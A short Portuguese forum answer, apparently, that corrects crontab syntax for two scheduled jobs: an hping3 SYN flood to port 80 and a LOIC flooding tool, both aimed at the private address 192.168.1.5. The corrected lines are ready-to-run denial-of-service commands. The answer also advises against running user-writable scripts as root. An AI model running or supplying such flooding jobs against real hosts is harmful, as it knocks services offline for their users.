Não funciona porque você tem erro na sintaxe do crontab. São sempre 5 campos separados por espaço para o tempo, sexto para o usuário e o restante da linha para o comando. Especificamente os dois últimos comandos:
30 18 * * * timeout 300 root hping3 -i -u1 -S 80 192.168.1.5
40 18 * * * timeout 300 root ./home/hacker/scripts/LOICfinal/loic 192.168.1.5
deve ser
30 18 * * * root /usr/bin/timeout 300 /usr/sbin/hping3 -i -u1 -S 80 192.168.1.5
40 18 * * * root /usr/bin/timeout 300 /home/hacker/scripts/LOICfinal/loic 192.168.1.5
Você também deve considerar não executar scripts como root, que podem ser gravados por usuários comuns - neste caso, os scripts localizados em hacker
home folder.